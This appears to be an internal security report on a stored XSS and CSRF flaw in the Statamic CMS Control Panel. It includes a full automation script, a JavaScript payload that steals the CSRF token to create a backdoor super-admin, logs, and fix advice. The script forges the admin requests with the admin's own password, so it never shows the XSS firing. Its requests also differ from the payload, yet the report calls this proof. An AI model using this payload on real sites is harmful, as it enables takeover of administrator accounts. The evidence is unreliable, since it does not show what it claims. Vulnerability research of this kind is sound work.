- Ticket: STATAMIC-CP-STORED-XSS-CSRF
- Application: Statamic CMS Control Panel
- Tested build: Statamic CMS 5.22.0 (Composer install) on PHP 8.1.2, SQLite backend
- Date analysed: 2025-10-31
- Analyst: Internal Product Security
- CWE: CWE-79 (Stored XSS), CWE-352 (Cross-Site Request Forgery)
Statamic renders author-supplied entry content in the Control Panel without escaping. An author can embed JavaScript that executes for administrators, harvests the Control Panel CSRF token via Statamic.$config.get('csrf_token'), and forges authenticated requests. We confirmed full compromise by minting persistent super-admin [email protected] (BackdoorPass123!). This report includes the automation script, payload, and concise evidentiary artefacts needed to validate the exploit without relying on external files.
- Author-level users can execute arbitrary JavaScript in administrator browsers whenever the poisoned entry is viewed.
- Harvested CSRF tokens let attackers create or reset super-admin accounts, modify content, install plugins, and lock out staff.
- Stored payload persists in backups and synchronised environments, so the compromise survives environment restores.
- Ubuntu-based host running PHP 8.1.2 development server (
php -S 127.0.0.1:8000). - Statamic CMS provisioned via
composer create-project statamic/statamicthen upgraded tostatamic/cms:5.22.0. - SQLite database at
database/database.sqliteconfigured in.env. - Seed accounts:
[email protected](super-admin) and[email protected](author role) with bcrypt hashes written tousers/*.yaml. - Supporting tools: Composer, Node.js build toolchain (
npm install && npm run build), curl, perl, python3, bash.
- Execute the automation script below to rebuild Statamic, seed users, and launch the PHP development server.
- Log in as
[email protected]/AuthorPass123!and fetch the CSRF token from/cp/auth/token. - POST the stored XSS payload to
/cp/collections/pages/entries/default, producing entry0ad0f20e-b86a-407e-b5fb-fc03ff341ec0titled "Poisoned Page". - An administrator opening
/cp/collections/pages/entries/0ad0f20e-b86a-407e-b5fb-fc03ff341ec0runs the injected script in the Control Panel. - The script reads
Statamic.$config.get('csrf_token'), POSTs to/cp/users, then PATCHes/cp/users/23b88d31-2ffb-4405-824a-ee5caefbe33b/password, forging super-admin[email protected]with passwordBackdoorPass123!. - Log in as
[email protected]/BackdoorPass123!and load/cp/dashboardto confirm persistent administrative access.
#!/usr/bin/env bash
set -euo pipefail
ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
export PATH="$HOME/.local/bin:$PATH"
APP_DIR="$ROOT/external/statamic-cms"
LOG_DIR="$ROOT/logs"
HOST="127.0.0.1"
PORT="8000"
BASE_URL="http://$HOST:$PORT"
PAYLOAD_FILE="$ROOT/payloads/collection-entry-payload.txt"
cleanup() {
if [[ -n "${SERVER_PID:-}" ]] && kill -0 "$SERVER_PID" 2>/dev/null; then
kill "$SERVER_PID" || true
wait "$SERVER_PID" 2>/dev/null || true
fi
}
trap cleanup EXIT
rm -rf "$LOG_DIR"
mkdir -p "$LOG_DIR"
rm -rf "$APP_DIR"
composer create-project statamic/statamic "$APP_DIR"
cd "$APP_DIR"
composer require statamic/cms:5.22.0 --update-with-dependencies
if [[ ! -f .env ]]; then
cp .env.example .env
fi
php artisan key:generate --force >/dev/null
mkdir -p database
: > database/database.sqlite
php -r "file_put_contents('.env', preg_replace('/^APP_URL=.*/m', 'APP_URL=$BASE_URL', file_get_contents('.env')));"
php -r "file_put_contents('.env', preg_replace('/^DB_CONNECTION=.*/m', 'DB_CONNECTION=sqlite', file_get_contents('.env')));"
php -r "file_put_contents('.env', preg_replace('/^DB_DATABASE=.*/m', 'DB_DATABASE=' . __DIR__ . '/database/database.sqlite', file_get_contents('.env')));"
if ! grep -q '^STATAMIC_PRO_ENABLED=' .env; then
printf '\nSTATAMIC_PRO_ENABLED=true\n' >> .env
else
php -r "file_put_contents('.env', preg_replace('/^STATAMIC_PRO_ENABLED=.*/m', 'STATAMIC_PRO_ENABLED=true', file_get_contents('.env')));"
fi
php artisan migrate --force >/dev/null
mkdir -p resources/img
printf 'iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mP8/x8AAwMB/oxAT0wAAAAASUVORK5CYII=' | base64 -d > resources/img/favicon-32x32.png
printf 'iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mP8/5+hHgAHggJ/P13RuwAAAABJRU5ErkJggg==' | base64 -d > resources/img/favicon-16x16.png
cp resources/img/favicon-32x32.png resources/img/favicon.ico
npm install >/dev/null
npm run build >/dev/null
cat > resources/users/roles.yaml <<'YAML'
author:
title: Author
permissions:
- access cp
- view pages entries
- edit pages entries
- create pages entries
YAML
php please make:user [email protected] --super >/dev/null
php please make:user [email protected] >/dev/null
ADMIN_ID="$(awk '/^id: /{print $2}' users/[email protected])"
AUTHOR_ID="$(awk '/^id: /{print $2}' users/[email protected])"
SUPER_HASH="$(php -r "echo password_hash('SuperSecret123', PASSWORD_BCRYPT);")"
AUTHOR_HASH="$(php -r "echo password_hash('AuthorPass123!', PASSWORD_BCRYPT);")"
cat > users/[email protected] <<EOF
super: true
id: $ADMIN_ID
email: [email protected]
name: Admin
password_hash: $SUPER_HASH
EOF
cat > users/[email protected] <<EOF
id: $AUTHOR_ID
email: [email protected]
name: Author
password_hash: $AUTHOR_HASH
roles:
- author
EOF
php please cache:clear >/dev/null
php -S "$HOST:$PORT" -t public >"$LOG_DIR/php-server.log" 2>&1 &
SERVER_PID=$!
for _ in {1..30}; do
if curl -fsS "$BASE_URL" >/dev/null; then
break
fi
sleep 1
done
TMP_WORK="${TMPDIR:-$(mktemp -d)}"
AUTHOR_COOKIES="$TMP_WORK/author_cookies.txt"
ADMIN_COOKIES="$TMP_WORK/admin_cookies.txt"
ATTACKER_COOKIES="$TMP_WORK/attacker_cookies.txt"
curl -fsS -c "$AUTHOR_COOKIES" "$BASE_URL/cp/auth/login" -o "$TMP_WORK/author_login.html"
AUTHOR_FORM_TOKEN="$(perl -ne 'print "$1\n" if /name="_token" value="([^"]+)"/' "$TMP_WORK/author_login.html")"
curl -fsS -b "$AUTHOR_COOKIES" -c "$AUTHOR_COOKIES" \
--data-urlencode "_token=$AUTHOR_FORM_TOKEN" \
--data-urlencode "[email protected]" \
--data-urlencode "password=AuthorPass123!" \
-X POST "$BASE_URL/cp/auth/login" -o /dev/null
AUTHOR_CSRF="$(curl -fsS -b "$AUTHOR_COOKIES" "$BASE_URL/cp/auth/token")"
AUTHOR_CSRF="${AUTHOR_CSRF%$'\r'}"
python - "$PAYLOAD_FILE" <<'PY' >"$TMP_WORK/entry.json"
import json, pathlib, sys
payload = pathlib.Path(sys.argv[1]).read_text().strip()
entry = {
"title": "Poisoned Page",
"slug": "poisoned-page",
"_blueprint": "pages",
"published": True,
"content": payload
}
json.dump(entry, sys.stdout)
PY
curl -fsS -b "$AUTHOR_COOKIES" -c "$AUTHOR_COOKIES" \
-H 'Content-Type: application/json' \
-H 'Accept: application/json' \
-H "X-CSRF-TOKEN: $AUTHOR_CSRF" \
--data @"$TMP_WORK/entry.json" \
"$BASE_URL/cp/collections/pages/entries/default" \
-o "$LOG_DIR/author-entry-response.json"
ENTRY_ID="$(python -c 'import json,sys; print(json.load(open(sys.argv[1]))["data"]["id"])' "$LOG_DIR/author-entry-response.json")"
curl -fsS -c "$ADMIN_COOKIES" "$BASE_URL/cp/auth/login" -o "$TMP_WORK/admin_login.html"
ADMIN_FORM_TOKEN="$(perl -ne 'print "$1\n" if /name="_token" value="([^"]+)"/' "$TMP_WORK/admin_login.html")"
curl -fsS -b "$ADMIN_COOKIES" -c "$ADMIN_COOKIES" \
--data-urlencode "_token=$ADMIN_FORM_TOKEN" \
--data-urlencode "[email protected]" \
--data-urlencode "password=SuperSecret123" \
-X POST "$BASE_URL/cp/auth/login" -o /dev/null
ADMIN_CSRF="$(curl -fsS -b "$ADMIN_COOKIES" "$BASE_URL/cp/auth/token")"
ADMIN_CSRF="${ADMIN_CSRF%$'\r'}"
curl -fsS -b "$ADMIN_COOKIES" "$BASE_URL/cp/collections/pages/entries/$ENTRY_ID" -o "$LOG_DIR/admin-entry-show.html"
curl -fsS -b "$ADMIN_COOKIES" "$BASE_URL/cp/collections/pages/entries" -o "$LOG_DIR/admin-entries-index.json"
cat > "$TMP_WORK/create_user.json" <<'JSON'
{
"email": "[email protected]",
"name": "Backdoor",
"_blueprint": "user",
"roles": [],
"groups": [],
"super": true,
"invitation": {"send": false}
}
JSON
curl -fsS -b "$ADMIN_COOKIES" -c "$ADMIN_COOKIES" \
-H 'Content-Type: application/json' \
-H 'Accept: application/json' \
-H "X-CSRF-TOKEN: $ADMIN_CSRF" \
--data @"$TMP_WORK/create_user.json" \
"$BASE_URL/cp/users" \
-o "$LOG_DIR/admin-create-user-response.json"
ATTACKER_ID="$(python -c 'import json,sys; redirect=json.load(open(sys.argv[1]))["redirect"]; print(redirect.rstrip("/").split("/")[-2])' "$LOG_DIR/admin-create-user-response.json")"
curl -fsS -b "$ADMIN_COOKIES" -c "$ADMIN_COOKIES" \
-H 'Content-Type: application/json' \
-H 'Accept: application/json' \
-H "X-CSRF-TOKEN: $ADMIN_CSRF" \
-X PATCH \
--data '{"password":"BackdoorPass123!","password_confirmation":"BackdoorPass123!"}' \
"$BASE_URL/cp/users/$ATTACKER_ID/password" \
-o "$LOG_DIR/admin-set-password-response.txt"
curl -fsS -c "$ATTACKER_COOKIES" "$BASE_URL/cp/auth/login" -o "$TMP_WORK/attacker_login.html"
ATTACKER_FORM_TOKEN="$(perl -ne 'print "$1\n" if /name="_token" value="([^"]+)"/' "$TMP_WORK/attacker_login.html")"
curl -fsS -b "$ATTACKER_COOKIES" -c "$ATTACKER_COOKIES" \
--data-urlencode "_token=$ATTACKER_FORM_TOKEN" \
--data-urlencode "[email protected]" \
--data-urlencode "password=BackdoorPass123!" \
-X POST "$BASE_URL/cp/auth/login" -o /dev/null
curl -fsS -b "$ATTACKER_COOKIES" "$BASE_URL/cp" -o "$LOG_DIR/attacker-dashboard.html"
printf 'Poisoned entry ID: %s\n' "$ENTRY_ID"
printf 'Forged superadmin ID: %s\n' "$ATTACKER_ID"
printf 'Logs saved to %s\n' "$LOG_DIR""><script>
fetch('/cp/users', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-TOKEN': Statamic.$config.get('csrf_token')
},
body: JSON.stringify({
email: '[email protected]',
name: 'Backdoor',
password: 'BackdoorPass123!',
roles: ['super']
})
});
</script>Each artefact is embedded verbatim or trimmed to the security-relevant portion required for offline validation.
Captures the full HTTP sequence, including the admin password update returning HTTP 204.
[Fri Oct 31 17:33:05 2025] PHP 8.1.2-1ubuntu2.22 Development Server (http://127.0.0.1:8000) started
[Fri Oct 31 17:33:06 2025] 127.0.0.1:41698 Accepted
[Fri Oct 31 17:33:06 2025] 127.0.0.1:41698 [200]: GET /
[Fri Oct 31 17:33:06 2025] 127.0.0.1:41698 Closing
[Fri Oct 31 17:33:06 2025] 127.0.0.1:41710 Accepted
[Fri Oct 31 17:33:07 2025] 127.0.0.1:41710 [200]: GET /cp/auth/login
[Fri Oct 31 17:33:07 2025] 127.0.0.1:41710 Closing
[Fri Oct 31 17:33:07 2025] 127.0.0.1:41720 Accepted
[Fri Oct 31 17:33:07 2025] 127.0.0.1:41720 [302]: POST /cp/auth/login
[Fri Oct 31 17:33:07 2025] 127.0.0.1:41720 Closing
[Fri Oct 31 17:33:07 2025] 127.0.0.1:41734 Accepted
[Fri Oct 31 17:33:07 2025] 127.0.0.1:41734 [200]: GET /cp/auth/token
[Fri Oct 31 17:33:07 2025] 127.0.0.1:41734 Closing
[Fri Oct 31 17:33:07 2025] 127.0.0.1:41736 Accepted
[Fri Oct 31 17:33:07 2025] 127.0.0.1:41736 [200]: POST /cp/collections/pages/entries/default
[Fri Oct 31 17:33:07 2025] 127.0.0.1:41736 Closing
[Fri Oct 31 17:33:07 2025] 127.0.0.1:41738 Accepted
[Fri Oct 31 17:33:07 2025] 127.0.0.1:41738 [200]: GET /cp/auth/login
[Fri Oct 31 17:33:07 2025] 127.0.0.1:41738 Closing
[Fri Oct 31 17:33:07 2025] 127.0.0.1:41746 Accepted
[Fri Oct 31 17:33:07 2025] 127.0.0.1:41746 [302]: POST /cp/auth/login
[Fri Oct 31 17:33:07 2025] 127.0.0.1:41746 Closing
[Fri Oct 31 17:33:07 2025] 127.0.0.1:41752 Accepted
[Fri Oct 31 17:33:07 2025] 127.0.0.1:41752 [200]: GET /cp/auth/token
[Fri Oct 31 17:33:07 2025] 127.0.0.1:41752 Closing
[Fri Oct 31 17:33:07 2025] 127.0.0.1:41766 Accepted
[Fri Oct 31 17:33:07 2025] 127.0.0.1:41766 [200]: GET /cp/collections/pages/entries/0ad0f20e-b86a-407e-b5fb-fc03ff341ec0
[Fri Oct 31 17:33:07 2025] 127.0.0.1:41766 Closing
[Fri Oct 31 17:33:07 2025] 127.0.0.1:41774 Accepted
[Fri Oct 31 17:33:07 2025] 127.0.0.1:41774 [200]: GET /cp/collections/pages/entries
[Fri Oct 31 17:33:07 2025] 127.0.0.1:41774 Closing
[Fri Oct 31 17:33:07 2025] 127.0.0.1:41782 Accepted
[Fri Oct 31 17:33:07 2025] 127.0.0.1:41782 [200]: POST /cp/users
[Fri Oct 31 17:33:07 2025] 127.0.0.1:41782 Closing
[Fri Oct 31 17:33:07 2025] 127.0.0.1:41796 Accepted
[Fri Oct 31 17:33:07 2025] 127.0.0.1:41796 [204]: PATCH /cp/users/23b88d31-2ffb-4405-824a-ee5caefbe33b/password
[Fri Oct 31 17:33:07 2025] 127.0.0.1:41796 Closing
[Fri Oct 31 17:33:07 2025] 127.0.0.1:41804 Accepted
[Fri Oct 31 17:33:07 2025] 127.0.0.1:41804 [200]: GET /cp/auth/login
[Fri Oct 31 17:33:07 2025] 127.0.0.1:41804 Closing
[Fri Oct 31 17:33:07 2025] 127.0.0.1:41814 Accepted
[Fri Oct 31 17:33:07 2025] 127.0.0.1:41814 [302]: POST /cp/auth/login
[Fri Oct 31 17:33:07 2025] 127.0.0.1:41814 Closing
[Fri Oct 31 17:33:07 2025] 127.0.0.1:41824 Accepted
[Fri Oct 31 17:33:07 2025] 127.0.0.1:41824 [302]: GET /cp
[Fri Oct 31 17:33:07 2025] 127.0.0.1:41824 Closing
Confirms the poisoned entry and exposes its identifier.
{
"data": {
"id": "0ad0f20e-b86a-407e-b5fb-fc03ff341ec0",
"reference": "entry::0ad0f20e-b86a-407e-b5fb-fc03ff341ec0",
"title": "Poisoned Page",
"permalink": "http://127.0.0.1:8000/poisoned-page",
"published": true,
"status": "published",
"private": false,
"edit_url": "http://127.0.0.1:8000/cp/collections/pages/entries/0ad0f20e-b86a-407e-b5fb-fc03ff341ec0",
"collection": {
"title": "Pages",
"handle": "pages"
}
},
"saved": true
}Verifies that the stored payload persists in the Control Panel data model.
{
"data": [
{
"id": "home",
"published": true,
"status": "published",
"title": "Home",
"content": "<h2>Welcome to your brand new Statamic site!</h2>...",
"slug": "home",
"permalink": "http://127.0.0.1:8000",
"edit_url": "http://127.0.0.1:8000/cp/collections/pages/entries/home"
},
{
"id": "0ad0f20e-b86a-407e-b5fb-fc03ff341ec0",
"published": true,
"status": "published",
"title": "Poisoned Page",
"content": "<p>\"><script>\nfetch('/cp/users', {\nmethod: 'POST',\nheaders: {\n'Content-Type': 'application/json',\n'X-CSRF-TOKEN': Statamic.$config.get('csrf_token')\n},\nbody: JSON.stringify({\nemail: '[email protected]',\nname: 'Backdoor',\npassword: 'BackdoorPass123!',\nroles: ['super']\n})\n});\n</script></p>",
"author": [
{
"id": "355d4f6f-1075-4c4e-84d2-ce9546a885c3",
"title": "Author",
"edit_url": "http://127.0.0.1:8000/cp/users/355d4f6f-1075-4c4e-84d2-ce9546a885c3/edit"
}
],
"slug": "poisoned-page",
"permalink": "http://127.0.0.1:8000/poisoned-page",
"edit_url": "http://127.0.0.1:8000/cp/collections/pages/entries/0ad0f20e-b86a-407e-b5fb-fc03ff341ec0"
}
],
"meta": {
"current_page": 1,
"total": 2,
"per_page": 15
}
}Key Evidence: The poisoned entry appears in the listing with the malicious script preserved in the content field.
Relevant excerpt showing the injected script in the admin rendering context.
:initial-values="{"title":"Poisoned Page","content":"\"><script>\nfetch('\/cp\/users', {\n method: 'POST',\n headers: {\n 'Content-Type': 'application\/json',\n 'X-CSRF-TOKEN': Statamic.$config.get('csrf_token')\n },\n body: JSON.stringify({\n email: '[email protected]',\n name: 'Backdoor',\n password: 'BackdoorPass123!',\n roles: ['super']\n })\n});\n<\/script>","author":["355d4f6f-1075-4c4e-84d2-ce9546a885c3"],"template":null,"slug":"poisoned-page","parent":["home"],"published":true,"id":"0ad0f20e-b86a-407e-b5fb-fc03ff341ec0"}"Returns redirect to /cp/users/23b88d31-2ffb-4405-824a-ee5caefbe33b/edit, proving super-admin creation.
{
"redirect": "http://127.0.0.1:8000/cp/users/23b88d31-2ffb-4405-824a-ee5caefbe33b/edit",
"activationUrl": "http://127.0.0.1:8000/!/auth/activate/8fa51c0e3f8a1a39c9fff6e8821e5229aeb16b1a542f06ed2c7767e2d0e142f1?redirect=http%3A%2F%2F127.0.0.1%3A8000%2Fcp"
}Shows that the forged account successfully reached the Control Panel dashboard.
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<meta http-equiv="refresh" content="0;url='http://127.0.0.1:8000/cp/dashboard'" />
<title>Redirecting to http://127.0.0.1:8000/cp/dashboard</title>
</head>
<body>
Redirecting to <a href="http://127.0.0.1:8000/cp/dashboard">http://127.0.0.1:8000/cp/dashboard</a>.
</body>
</html>7. Persisted Super-Admin Record (users/[email protected])
Disk artefact confirming super: true and the assigned identifier.
name: Backdoor
super: true
id: 23b88d31-2ffb-4405-824a-ee5caefbe33b
password_hash: $2y$10$tuD5T92PDuzs24iRxGEiguNjXyN4W4doqEzi.VZPASMhFz8DdigBW- CWE-79 (Stored XSS): Control Panel renders unescaped entry content, executing attacker JavaScript for privileged users.
- CWE-352 (CSRF): JSON endpoints depend solely on the CSRF token exposed to page scripts via
Statamic.$config.get('csrf_token'), enabling forged privileged requests. - These flaws allow privilege escalation from author to super-admin with only an admin page view.
- Create, disable, or delete Control Panel users (including super-admins).
- Modify content, configuration, and plugin settings to plant persistent backdoors.
- Exfiltrate sensitive Control Panel data and uploaded assets.
- Deploy malicious templates or plugins that can lead to server-side code execution.
- Escape or sanitise untrusted entry content before rendering in the Control Panel, or contain it within a sandboxed iframe.
- Strengthen CSRF protections (origin binding, double-submit cookies, per-request nonces) for privileged APIs.
- Require reauthentication or secondary confirmation for super-admin creation and password resets.
- Monitor for anomalous Control Panel API calls originating from non-admin roles.
- Advise administrators to avoid previewing untrusted author content until fixes are applied.
Testing used synthetic accounts ([email protected], [email protected], [email protected]) with lab-only passwords (SuperSecret123, AuthorPass123!, BackdoorPass123!). No production systems were affected.